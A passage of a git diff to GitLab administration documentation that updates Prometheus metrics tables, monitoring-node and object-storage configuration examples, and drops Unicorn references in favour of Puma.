**Admin area**. 1. Go to **Monitoring > Requests Profiles**. 1. In the **Requests Profiles** section, copy the token. diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index f29db9ead38..7e72f6ed7df 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -9,7 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w To enable the GitLab Prometheus metrics: 1. Log into GitLab as a user with [administrator permissions](../../../user/permissions.md). -1. Go to **Admin Area > Settings > Metrics and profiling**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling**. 1. Find the **Metrics - Prometheus** section, and click **Enable Prometheus Metrics**. 1. [Restart GitLab](../../restart_gitlab.md#omnibus-gitlab-restart) for the changes to take effect. @@ -58,7 +59,7 @@ The following metrics are available: | `gitlab_transaction_cache_duration_total` | Counter | 10.2 | Counter for total time (seconds) spent in Rails cache calls (aggregate) | | | `gitlab_transaction_cache_read_hit_count_total` | Counter | 10.2 | Counter for cache hits for Rails cache calls | `controller`, `action` | | `gitlab_transaction_cache_read_miss_count_total` | Counter | 10.2 | Counter for cache misses for Rails cache calls | `controller`, `action` | -| `gitlab_transaction_duration_seconds` | Histogram | 10.2 | Duration for all transactions (`gitlab_transaction_*` metrics) | `controller`, `action` | +| `gitlab_transaction_duration_seconds` | Histogram | 10.2 | Duration for successful requests (`gitlab_transaction_*` metrics) | `controller`, `action` | | `gitlab_transaction_event_build_found_total` | Counter | 9.4 | Counter for build found for API /jobs/request | | | `gitlab_transaction_event_build_invalid_total` | Counter | 9.4 | Counter for build invalid due to concurrency conflict for API /jobs/request | | | `gitlab_transaction_event_build_not_found_cached_total` | Counter | 9.4 | Counter for cached response of build not found for API /jobs/request | | @@ -91,7 +92,7 @@ The following metrics are available: | `gitlab_transaction_view_duration_total` | Counter | 9.4 | Duration for views | `controller`, `action`, `view` | | `gitlab_view_rendering_duration_seconds` | Histogram | 10.2 | Duration for views (histogram) | `controller`, `action`, `view` | | `http_requests_total` | Counter | 9.4 | Rack request count | `method`, `status` | -| `http_request_duration_seconds` | Histogram | 9.4 | HTTP response time from rack middleware | `method` | +| `http_request_duration_seconds` | Histogram | 9.4 | HTTP response time from rack middleware for successful requests | `method` | | `gitlab_transaction_db_count_total` | Counter | 13.1 | Counter for total number of SQL calls | `controller`, `action` | | `gitlab_transaction_db_<role>_count_total` | Counter | 13.10 | Counter for total number of SQL calls, grouped by database roles (primary/replica) | `controller`, `action` | | `gitlab_transaction_db_write_count_total` | Counter | 13.1 | Counter for total number of write SQL calls | `controller`, `action` | @@ -130,6 +131,8 @@ The following metrics are available: | `gitlab_ci_pipeline_security_orchestration_policy_processing_duration_seconds` | Histogram | 13.12 | Time in seconds it takes to process Security Policies in CI/CD pipeline | | | `gitlab_ci_difference_live_vs_actual_minutes` | Histogram | 13.12 | Difference between CI minute consumption counted while jobs were running (live) vs when jobs are complete (actual). Used to enforce CI minute consumption limits on long running jobs. | `plan` | | `gitlab_spamcheck_request_duration_seconds` | Histogram | 13.12 | The duration for requests between Rails and the anti-spam engine | | +| `service_desk_thank_you_email` | Counter | 14.0 | Total number of email responses to new service desk emails | | +| `service_desk_new_note_email` | Counter | 14.0 | Total number of email notifications on new service desk comment | | ## Metrics controlled by a feature flag @@ -227,11 +230,15 @@ configuration option in `gitlab.yml`. These metrics are served from the | `global_search_bulk_cron_queue_size` | Gauge | 12.10 | Number of database records waiting to be synchronized to Elasticsearch | | | `global_search_awaiting_indexing_queue_size` | Gauge | 13.2 | Number of database updates waiting to be synchronized to Elasticsearch while indexing is paused | | | `geo_merge_request_diffs` | Gauge | 13.4 | Number of merge request diffs on primary | `url` | -| `geo_merge_request_diffs_checksummed` | Gauge | 13.4 | Number of merge request diffs checksummed on primary | `url` | +| `geo_merge_request_diffs_checksum_total` | Gauge | 13.12 | Number of merge request diffs tried to checksum on primary | `url` | +| `geo_merge_request_diffs_checksummed` | Gauge | 13.4 | Number of merge request diffs successfully checksummed on primary | `url` | | `geo_merge_request_diffs_checksum_failed` | Gauge | 13.4 | Number of merge request diffs failed to calculate the checksum on primary | `url` | | `geo_merge_request_diffs_synced` | Gauge | 13.4 | Number of syncable merge request diffs synced on secondary | `url` | | `geo_merge_request_diffs_failed` | Gauge | 13.4 | Number of syncable merge request diffs failed to sync on secondary | `url` | | `geo_merge_request_diffs_registry` | Gauge | 13.4 | Number of merge request diffs in the registry | `url` | +| `geo_merge_request_diffs_verification_total` | Gauge | 13.12 | Number of merge request diffs verifications tried on secondary | `url` | +| `geo_merge_request_diffs_verified` | Gauge | 13.12 | Number of merge request diffs verified on secondary | `url` | +| `geo_merge_request_diffs_verification_failed` | Gauge | 13.12 | Number of merge request diffs verifications failed on secondary | `url` | | `geo_snippet_repositories` | Gauge | 13.4 | Number of snippets on primary | `url` | | `geo_snippet_repositories_checksummed` | Gauge | 13.4 | Number of snippets checksummed on primary | `url` | | `geo_snippet_repositories_checksum_failed` | Gauge | 13.4 | Number of snippets failed to calculate the checksum on primary | `url` | @@ -308,20 +315,8 @@ Some basic Ruby runtime metrics are available: | `ruby_process_proportional_memory_bytes` | Gauge | 13.0 | Memory usage by process (PSS/Proportional Set Size) | | `ruby_process_start_time_seconds` | Gauge | 12.0 | UNIX timestamp of process start time | -## Unicorn Metrics - -Unicorn specific metrics, when Unicorn is used. - -| Metric | Type | Since | Description | -|:-----------------------------|:------|:------|:---------------------------------------------------| -| `unicorn_active_connections` | Gauge | 11.0 | The number of active Unicorn connections (workers) | -| `unicorn_queued_connections` | Gauge | 11.0 | The number of queued Unicorn connections | -| `unicorn_workers` | Gauge | 12.0 | The number of Unicorn workers | - ## Puma Metrics -When Puma is used instead of Unicorn, the following metrics are available: - | Metric | Type | Since | Description | |:--------------------------------- |:------- |:----- |:----------- | | `puma_workers` | Gauge | 12.0 | Total number of workers | @@ -352,8 +347,8 @@ instance (`cache`, `shared_state` etc.). ## Metrics shared directory The GitLab Prometheus client requires a directory to store metrics data shared between multi-process services. -Those files are shared among all instances running under Unicorn server. -The directory must be accessible to all running Unicorn's processes, or +Those files are shared among all instances running under Puma server. +The directory must be accessible to all running Puma's processes, or metrics can't function correctly. This directory's location is configured using environment variable `prometheus_multiproc_dir`. diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md index 035c5b3ee7e..dd402f800e3 100644 --- a/doc/administration/monitoring/prometheus/index.md +++ b/doc/administration/monitoring/prometheus/index.md @@ -122,44 +122,28 @@ The steps below are the minimum necessary to configure a Monitoring node running 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby + roles ['monitoring_role'] + external_url 'http://gitlab.example.com' - # Enable Prometheus - prometheus['enable'] = true + # Prometheus prometheus['listen_address'] = '0.0.0.0:9090' prometheus['monitor_kubernetes'] = false - # Enable Login form - grafana['disable_login_form'] = false - - # Enable Grafana + # Grafana grafana['enable'] = true grafana['admin_password'] = 'toomanysecrets' + grafana['disable_login_form'] = false # Enable service discovery for Prometheus consul['enable'] = true consul['monitoring_service_discovery'] = true - - # The addresses can be IPs or FQDNs - consul['configuration'] = { - retry_join: %w(10.0.0.1 10.0.0.2 10.0.0.3), + consul['configuration'] = { + retry_join: %w(10.0.0.1 10.0.0.2 10.0.0.3), # The addresses can be IPs or FQDNs } - # Disable all other services - gitlab_rails['auto_migrate'] = false - alertmanager['enable'] = false - gitaly['enable'] = false - gitlab_exporter['enable'] = false - gitlab_workhorse['enable'] = false + # Nginx - For Grafana access nginx['enable'] = true - postgres_exporter['enable'] = false - postgresql['enable'] = false - redis['enable'] = false - redis_exporter['enable'] = false - sidekiq['enable'] = false - puma['enable'] = false - node_exporter['enable'] = false - gitlab_exporter['enable'] = false ``` 1. Run `sudo gitlab-ctl reconfigure` to compile the configuration. @@ -227,7 +211,7 @@ To use an external Prometheus server: gitlab_rails['monitoring_whitelist'] = ['127.0.0.0/8', '192.168.0.1'] ``` -1. On **all** GitLab Rails(Puma/Unicorn, Sidekiq) servers, set the Prometheus server IP address and listen port. For example: +1. On **all** GitLab Rails(Puma, Sidekiq) servers, set the Prometheus server IP address and listen port. For example: ```ruby gitlab_rails['prometheus_address'] = '192.168.0.1:9090' diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md index c49a2c20ed2..e53f2af3440 100644 --- a/doc/administration/nfs.md +++ b/doc/administration/nfs.md @@ -5,11 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Using NFS with GitLab +# Using NFS with GitLab **(FREE SELF)** NFS can be used as an alternative for object storage but this isn't typically -recommended for performance reasons. Note however it is required for [GitLab -Pages](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196). +recommended for performance reasons. For data objects such as LFS, Uploads, Artifacts, etc., an [Object Storage service](object_storage.md) is recommended over NFS where possible, due to better performance. @@ -17,7 +16,7 @@ is recommended over NFS where possible, due to better performance. File system performance can impact overall GitLab performance, especially for actions that read or write to Git repositories. For steps you can use to test file system performance, see -[File system Performance Benchmarking](operations/filesystem_benchmarking.md). +[File System Performance Benchmarking](operations/filesystem_benchmarking.md). ## Gitaly and NFS deprecation @@ -445,11 +444,11 @@ In case of NFS-related problems, it can be helpful to trace the file system requests that are being made by using `perf`: ```shell -sudo perf trace -e 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn) +sudo perf trace -e 'nfs4:*' -p $(pgrep -fd ',' puma) ``` On Ubuntu 16.04, use: ```shell -sudo perf trace --no-syscalls --event 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn) +sudo perf trace --no-syscalls --event 'nfs4:*' -p $(pgrep -fd ',' puma) ``` diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md index d133e8c3721..f1025bd1846 100644 --- a/doc/administration/object_storage.md +++ b/doc/administration/object_storage.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Object Storage +# Object storage **(FREE SELF)** GitLab supports using an object storage service for holding numerous types of data. It's recommended over NFS and @@ -29,7 +29,7 @@ GitLab has been tested on a number of object storage providers: - Dell EMC ECS: Prior to GitLab 13.3, there is a [known bug in GitLab Workhorse that prevents HTTP Range Requests from working with CI job artifacts](https://gitlab.com/gitlab-org/gitlab/-/issues/223806). - Be sure to upgrade to GitLab v13.3.0 or above if you use S3 storage with this hardware. + Be sure to upgrade to GitLab 13.3.0 or above if you use S3 storage with this hardware. - Ceph S3 prior to [Kraken 11.0.2](https://ceph.com/releases/kraken-11-0-2-released/) does not support the [Upload Copy Part API](https://gitlab.com/gitlab-org/gitlab/-/issues/300604). You may need to [disable multi-threaded copying](#multi-threaded-copying). @@ -47,7 +47,7 @@ For more information on the differences and to transition from one form to anoth ### Consolidated object storage configuration -> Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4368). +> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4368) in GitLab 13.2. Using the consolidated object storage configuration has a number of advantages: @@ -209,13 +209,13 @@ gitlab_rails['object_store']['connection'] = { } ``` -| Setting | Description | -|---------|-------------| -| `enabled` | Enable/disable object storage | -| `proxy_download` | Set to `true` to [enable proxying all files served](#proxy-download). Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data | -| `connection` | Various [connection options](#connection-settings) described below | -| `storage_options` | Options to use when saving new objects, such as [server side encryption](#server-side-encryption-headers). Introduced in GitLab 13.3 | -| `objects` | [Object-specific configuration](#object-specific-configuration) +| Setting | Description | +|-------------------|-----------------------------------| +| `enabled` | Enable or disable object storage. | +| `proxy_download` | Set to `true` to [enable proxying all files served](#proxy-download). Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | +| `connection` | Various [connection options](#connection-settings) described below. | +| `storage_options` | Options to use when saving new objects, such as [server side encryption](#server-side-encryption-headers). Introduced in GitLab 13.3. | +| `objects` | [Object-specific configuration](#object-specific-configuration). | ### Connection settings @@ -226,27 +226,27 @@ in the `connection` setting. The connection settings match those provided by [fog-aws](https://github.com/fog/fog-aws): -| Setting | Description | Default | -|---------|-------------|---------| -| `provider` | Always `AWS` for compatible hosts | `AWS` | -| `aws_access_key_id` | AWS credentials, or compatible | | -| `aws_secret_access_key` | AWS credentials, or compatible | | -| `aws_signature_version` | AWS signature version to use. `2` or `4` are valid options. Digital Ocean Spaces and other providers may need `2`. | `4` | -| `enable_signature_v4_streaming` | Set to `true` to enable HTTP chunked transfers with [AWS v4 signatures](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-streaming.html). Oracle Cloud S3 needs this to be `false`. | `true` | -| `region` | AWS region. | | -| `host` | S3 compatible host for when not using AWS, e.g. `localhost` or `storage.example.com`. HTTPS and port 443 is assumed. | `s3.amazonaws.com` | -| `endpoint` | Can be used when configuring an S3 compatible service such as [MinIO](https://min.io), by entering a URL such as `http://127.0.0.1:9000`. This takes precedence over `host`. | (optional) | -| `path_style` | Set to `true` to use `host/bucket_name/object` style paths instead of `bucket_name.host/object`. Leave as `false` for AWS S3. | `false` | -| `use_iam_profile` | Set to `true` to use IAM profile instead of access keys | `false` +| Setting | Description | Default | +|---------------------------------|------------------------------------|---------| +| `provider` | Always `AWS` for compatible hosts. | `AWS` | +| `aws_access_key_id` | AWS credentials, or compatible. | | +| `aws_secret_access_key` | AWS credentials, or compatible. | | +| `aws_signature_version` | AWS signature version to use. `2` or `4` are valid options. Digital Ocean Spaces and other providers may need `2`. | `4` | +| `enable_signature_v4_streaming` | Set to `true` to enable HTTP chunked transfers with [AWS v4 signatures](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-streaming.html). Oracle Cloud S3 needs this to be `false`. | `true` | +| `region` | AWS region. | | +| `host` | S3 compatible host for when not using AWS. For example, `localhost` or `storage.example.com`. HTTPS and port 443 is assumed. | `s3.amazonaws.com` | +| `endpoint` | Can be used when configuring an S3 compatible service such as [MinIO](https://min.io), by entering a URL such as `http://127.0.0.1:9000`. This takes precedence over `host`. | (optional) | +| `path_style` | Set to `true` to use `host/bucket_name/object` style paths instead of `bucket_name.host/object`. Leave as `false` for AWS S3. | `false`. | +| `use_iam_profile` | Set to `true` to use IAM profile instead of access keys. | `false` | #### Oracle Cloud S3 connection settings Note that Oracle Cloud S3 must be sure to use the following settings: -| Setting | Value | -|---------|-------| +| Setting | Value | +|---------------------------------|---------| | `enable_signature_v4_streaming` | `false` | -| `path_style` | `true` | +| `path_style` | `true` | If `enable_signature_v4_streaming` is set to `true`, you may see the following error in `production.log`: @@ -259,13 +259,13 @@ STREAMING-AWS4-HMAC-SHA256-PAYLOAD is not supported Here are the valid connection parameters for GCS: -| Setting | Description | example | -|---------|-------------|---------| -| `provider` | The provider name | `Google` | -| `google_project` | GCP project name | `gcp-project-12345` | -| `google_client_email` | The email address of the service account | `foo@gcp-project-12345.iam.gserviceaccount.com` | -| `google_json_key_location` | The JSON key path | `/path/to/gcp-project-12345-abcde.json` | -| `google_application_default` | Set to `true` to use [Google Cloud Application Default Credentials](https://cloud.google.com/docs/authentication/production#automatically) to locate service account credentials. | +| Setting | Description | Example | +|------------------------------|-------------------|---------| +| `provider` | Provider name. | `Google` | +| `google_project` | GCP project name. | `gcp-project-12345` | +| `google_client_email` | Email address of the service account. | `foo@gcp-project-12345.iam.gserviceaccount.com` | +| `google_json_key_location` | JSON key path. | `/path/to/gcp-project-12345-abcde.json` | +| `google_application_default` | Set to `true` to use [Google Cloud Application Default Credentials](https://cloud.google.com/docs/authentication/production#automatically) to locate service account credentials. | | The service account must have permission to access the bucket. Learn more in Google's @@ -328,12 +328,12 @@ The following are the valid connection parameters for Azure. Read the [Azure Blob storage documentation](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) to learn more. -| Setting | Description | Example | -|---------|-------------|---------| -| `provider` | Provider name | `AzureRM` | -| `azure_storage_account_name` | Name of the Azure Blob Storage account used to access the storage | `azuretest` | -| `azure_storage_access_key` | Storage account access key used to access the container. This is typically a secret, 512-bit encryption key encoded in base64. | `czV2OHkvQj9FKEgrTWJRZVRoV21ZcTN0Nnc5eiRDJkYpSkBOY1JmVWpYbjJy\nNHU3eCFBJUQqRy1LYVBkU2dWaw==\n` | -| `azure_storage_domain` | Domain name used to contact the Azure Blob Storage API (optional). Defaults to `blob.core.windows.net`. Set this if you are using Azure China, Azure Germany, Azure US Government, or some other custom Azure domain. | `blob.core.windows.net` | +| Setting | Description | Example | +|------------------------------|----------------|-----------| +| `provider` | Provider name. | `AzureRM` | +| `azure_storage_account_name` | Name of the Azure Blob Storage account used to access the storage. | `azuretest` | +| `azure_storage_access_key` | Storage account access key used to access the container. This is typically a secret, 512-bit encryption key encoded in base64. | `czV2OHkvQj9FKEgrTWJRZVRoV21ZcTN0Nnc5eiRDJkYpSkBOY1JmVWpYbjJy\nNHU3eCFBJUQqRy1LYVBkU2dWaw==\n` | +| `azure_storage_domain` | Domain name used to contact the Azure Blob Storage API (optional). Defaults to `blob.core.windows.net`. Set this if you are using Azure China, Azure Germany, Azure US Government, or some other custom Azure domain. | `blob.core.windows.net` | ##### Azure example (consolidated form) @@ -382,15 +382,15 @@ consolidated form, see the [S3 settings](#s3-compatible-connection-settings). Here are the valid connection settings for the Swift API, provided by [fog-openstack](https://github.com/fog/fog-openstack): -| Setting | Description | Default | -|---------|-------------|---------| -| `provider` | Always `OpenStack` for compatible hosts | `OpenStack` | -| `openstack_username` | OpenStack username | | -| `openstack_api_key` | OpenStack API key | | +| Setting | Description | Default | +|--------------------------|----------------------|---------| +| `provider` | Always `OpenStack` for compatible hosts. | `OpenStack` | +| `openstack_username` | OpenStack username. | | +| `openstack_api_key` | OpenStack API key. | | | `openstack_temp_url_key` | OpenStack key for generating temporary URLs | | -| `openstack_auth_url` | OpenStack authentication endpoint | | -| `openstack_region` | OpenStack region | | -| `openstack_tenant` | OpenStack tenant ID | +| `openstack_auth_url` | OpenStack authentication endpoint | | +| `openstack_region` | OpenStack region. | | +| `openstack_tenant` | OpenStack tenant ID. | | #### Rackspace Cloud Files @@ -400,13 +400,13 @@ Rackspace Cloud, provided by [fog-rackspace](https://github.com/fog/fog-rackspac This isn't compatible with the consolidated object storage form. Rackspace Cloud is supported only with the storage-specific form. -| Setting | Description | example | -|---------|-------------|---------| -| `provider` | The provider name | `Rackspace` | -| `rackspace_username` | The username of the Rackspace account with access to the container | `joe.smith` | -| `rackspace_api_key` | The API key of the Rackspace account with access to the container | `ABC123DEF456ABC123DEF456ABC123DE` | -| `rackspace_region` | The Rackspace storage region to use, a three letter code from the [list of service access endpoints](https://docs.rackspace.com/docs/cloud-files/v1/general-api-info/service-access/) | `iad` | -| `rackspace_temp_url_key` | The private key you have set in the Rackspace API for [temporary URLs](https://docs.rackspace.com/docs/cloud-files/v1/use-cases/public-access-to-your-cloud-files-account/#tempurl). | `ABC123DEF456ABC123DEF456ABC123DE` | +| Setting | Description | Example | +|--------------------------|----------------|-------------| +| `provider` | Provider name. | `Rackspace` | +| `rackspace_username` | Username of the Rackspace account with access to the container. | `joe.smith` | +| `rackspace_api_key` | API key of the Rackspace account with access to the container. | `ABC123DEF456ABC123DEF456ABC123DE` | +| `rackspace_region` | Rackspace storage region to use, a three letter code from the [list of service access endpoints](https://docs.rackspace.com/docs/cloud-files/v1/general-api-info/service-access/). | `iad` | +| `rackspace_temp_url_key` | Private key you set in the Rackspace API for [temporary URLs](https://docs.rackspace.com/docs/cloud-files/v1/use-cases/public-access-to-your-cloud-files-account/#tempurl). | `ABC123DEF456ABC123DEF456ABC123DE` | Regardless of whether the container has public access enabled or disabled, Fog uses the TempURL method to grant access to LFS objects. If you see error @@ -465,24 +465,24 @@ gitlab_rails['object_store']['objects']['pages']['bucket'] = 'pages' This is the list of valid `objects` that can be used: -| Type | Description | -|--------------------|---------------| -| `artifacts` | [CI artifacts](job_artifacts.md) | -| `external_diffs` | [Merge request diffs](merge_request_diffs.md) | -| `uploads` | [User uploads](uploads.md) | -| `lfs` | [Git Large File Storage objects](lfs/index.md) | -| `packages` | [Project packages (e.g. PyPI, Maven, NuGet, etc.)](packages/index.md) | -| `dependency_proxy` | [GitLab Dependency Proxy](packages/dependency_proxy.md) | -| `terraform_state` | [Terraform state files](terraform_state.md) | -| `pages` | [GitLab Pages](pages/index.md) | +| Type | Description | +|--------------------|----------------------------------------------------------------------------| +| `artifacts` | [CI artifacts](job_artifacts.md) | +| `external_diffs` | [Merge request diffs](merge_request_diffs.md) | +| `uploads` | [User uploads](uploads.md) | +| `lfs` | [Git Large File Storage objects](lfs/index.md) | +| `packages` | [Project packages (for example, PyPI, Maven, or NuGet)](packages/index.md) | +| `dependency_proxy` | [GitLab Dependency Proxy](packages/dependency_proxy.md) | +| `terraform_state` | [Terraform state files](terraform_state.md) | +| `pages` | [GitLab Pages](pages/index.md) | Within each object type, three parameters can be defined: -| Setting | Required? | Description | -|------------------|-----------|-------------| -| `bucket` | Yes | The bucket name for the object storage. | -| `enabled` | No | Overrides the common parameter | -| `proxy_download` | No | Overrides the common parameter | +| Setting | Required? | Description | +|------------------|------------------------|-------------------------------------| +| `bucket` | **{check-circle}** Yes | Bucket name for the object storage. | +| `enabled` | **{dotted-circle}** No | Overrides the common parameter. | +| `proxy_download` | **{dotted-circle}** No | Overrides the common parameter. | #### Selectively disabling object storage @@ -542,21 +542,21 @@ original configuration (for example, `artifacts_object_store_enabled`, or For configuring object storage in GitLab 13.1 and earlier, or for storage types not supported by consolidated configuration form, refer to the following guides: -|Object storage type|Supported by consolidated configuration?| -|-------------------|----------------------------------------| -| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | -| [Job artifacts](job_artifacts.md#using-object-storage) including archived job logs | Yes | -| [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | -| [Uploads](uploads.md#using-object-storage) | Yes | -| [Container Registry](packages/container_registry.md#use-object-storage) (optional feature) | No | -| [Merge request diffs](merge_request_diffs.md#using-object-storage) | Yes | -| [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | -| [Packages](packages/index.md#using-object-storage) (optional feature) | Yes | -| [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM SELF)** | Yes | -| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | -| [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | -| [Terraform state files](terraform_state.md#using-object-storage) | Yes | -| [GitLab Pages content](pages/index.md#using-object-storage) | Yes | +| Object storage type | Supported by consolidated configuration? | +|---------------------|------------------------------------------| +| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | **{dotted-circle}** No | +| [Job artifacts](job_artifacts.md#using-object-storage) including archived job logs | **{check-circle}** Yes | +| [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | **{check-circle}** Yes | +| [Uploads](uploads.md#using-object-storage) | **{check-circle}** Yes | +| [Container Registry](packages/container_registry.md#use-object-storage) (optional feature) | **{dotted-circle}** No | +| [Merge request diffs](merge_request_diffs.md#using-object-storage) | **{check-circle}** Yes | +| [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| **{dotted-circle}** No | +| [Packages](packages/index.md#using-object-storage) (optional feature) | **{check-circle}** Yes | +| [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM SELF)** | **{check-circle}** Yes | +| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | **{dotted-circle}** No | +| [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | **{dotted-circle}** No | +| [Terraform state files](terraform_state.md#using-object-storage) | **{check-circle}** Yes | +| [GitLab Pages content](pages/index.md#using-object-storage) | **{check-circle}** Yes | ### Other alternatives to file system storage @@ -618,20 +618,20 @@ This can result in some of the following problems: - If GitLab is using non-secure HTTP to access the object storage, clients may generate `https->http` downgrade errors and refuse to process the redirect. The solution to this -is for GitLab to use HTTPS. LFS, for example, will generate this error: +is for GitLab to use HTTPS. LFS, for example, generates this error: ```plaintext LFS: lfsapi/client: refusing insecure redirect, https->http ``` -- Clients will need to trust the certificate authority that issued the object storage +- Clients need to trust the certificate authority that issued the object storage certificate, or may return common TLS errors such as: ```plaintext x509: certificate signed by unknown authority ``` -- Clients will need network access to the object storage. +- Clients need network access to the object storage. Network firewalls could block access. Errors that might result if this access is not in place include: @@ -667,7 +667,7 @@ The first option is recommended for MinIO. Otherwise, the is to use the `--compat` parameter on the server. Without consolidated object store configuration or instance profiles enabled, -GitLab Workhorse will upload files to S3 using pre-signed URLs that do +GitLab Workhorse uploads files to S3 using pre-signed URLs that do not have a `Content-MD5` HTTP header computed for them. To ensure data is not corrupted, Workhorse checks that the MD5 hash of the data sent equals the ETag header returned from the S3 server. When encryption is @@ -683,7 +683,7 @@ eliminates the need to compare ETag headers returned from the S3 server. Instead of supplying AWS access and secret keys in object storage configuration, GitLab can be configured to use IAM roles to set up an [Amazon instance profile](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2.html). -When this is used, GitLab will fetch temporary credentials each time an +When this is used, GitLab fetches temporary credentials each time an S3 bucket is accessed, so no hard-coded values are needed in the configuration. @@ -709,10 +709,10 @@ only encrypted objects are uploaded](https://aws.amazon.com/premiumsupport/knowl To do this, you must configure GitLab to send the proper encryption headers in the `storage_options` configuration section: -| Setting | Description | -|-------------------------------------|-------------| -| `server_side_encryption` | Encryption mode (`AES256` or `aws:kms`) | -| `server_side_encryption_kms_key_id` | Amazon Resource Name. Only needed when `aws:kms` is used in `server_side_encryption`. See the [Amazon documentation on using KMS encryption](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingKMSEncryption.html) | +| Setting | Description | +|-------------------------------------|------------------------------------------| +| `server_side_encryption` | Encryption mode (`AES256` or `aws:kms`). | +| `server_side_encryption_kms_key_id` | Amazon Resource Name. Only needed when `aws:kms` is used in `server_side_encryption`. See the [Amazon documentation on using KMS encryption](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingKMSEncryption.html). | As with the case for default encryption, these options only work when the Workhorse S3 client is enabled. One of the following two conditions @@ -721,7 +721,7 @@ must be fulfilled: - `use_iam_profile` is `true` in the connection settings. - Consolidated object storage settings are in use. -[ETag mismatch errors](#etag-mismatch) will occur if server side +[ETag mismatch errors](#etag-mismatch) occur if server side encryption headers are used without enabling the Workhorse S3 client. ##### Disabling the feature diff --git a/doc/administration/operations/cleaning_up_redis_sessions.md b/doc/administration/operations/cleaning_up_redis_sessions.md index 6513a4ed4c8..194dd8f39e2 100644 --- a/doc/administration/operations/cleaning_up_redis_sessions.md +++ b/doc/administration/operations/cleaning_up_redis_sessions.md @@ -25,7 +25,7 @@ NOTE: The instructions below must be modified in accordance with your configuration settings if you have used the advanced Redis settings outlined in -[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/blob/master/config/README.md). +[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/README.md). First we define a shell function with the proper Redis connection details. diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md index 6b8d6f3bf1e..ed89d11da75 100644 --- a/doc/administration/operations/extra_sidekiq_processes.md +++ b/doc/administration/operations/extra_sidekiq_processes.md @@ -18,8 +18,8 @@ The information in this page applies only to Omnibus GitLab. For a list of the existing Sidekiq queues, check the following files: -- [Queues for both GitLab Community and Enterprise Editions](https://gitlab.com/gitlab-org/gitlab/blob/master/app/workers/all_queues.yml) -- [Queues for GitLab Enterprise Editions only](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/all_queues.yml) +- [Queues for both GitLab Community and Enterprise Editions](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/all_queues.yml) +- [Queues for GitLab Enterprise Editions only](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/all_queues.yml) Each entry in the above files represents a queue on which Sidekiq processes can be started. @@ -38,11 +38,11 @@ To start multiple processes: process, and values in each item determine the queues it works on. For example, the following setting creates three Sidekiq processes, one to run on - `elastic_indexer`, one to run on `mailers`, and one process running on all queues: + `elastic_commit_indexer`, one to run on `mailers`, and one process running on all queues: ```ruby sidekiq['queue_groups'] = [ - "elastic_indexer", + "elastic_commit_indexer", "mailers", "*" ] @@ -53,7 +53,7 @@ To start multiple processes: ```ruby sidekiq['queue_groups'] = [ - "elastic_indexer, elastic_commit_indexer", + "elastic_commit_indexer, elastic_association_indexer", "mailers", "*" ] @@ -70,11 +70,11 @@ To start multiple processes: ] ``` - `*` cannot be combined with concrete queue names - `*, mailers` will - just handle the `mailers` queue. + `*` cannot be combined with concrete queue names - `*, mailers` + just handles the `mailers` queue. When `sidekiq-cluster` is only running on a single node, make sure that at least - one process is running on all queues using `*`. This means a process will + one process is running on all queues using `*`. This means a process is This includes queues that have dedicated processes. If `sidekiq-cluster` is running on more than one node, you can also use @@ -116,83 +116,10 @@ you list: > - [Sidekiq cluster, including queue selector, moved](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/181) to GitLab Free in 12.10. > - [Renamed from `experimental_queue_selector` to `queue_selector`](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/147) in GitLab 13.6. -In addition to selecting queues by name, as above, the `queue_selector` -option allows queue groups to be selected in a more general way using -the following components: - -- Attributes that can be selected. -- Operators used to construct a query. - -When `queue_selector` is set, all 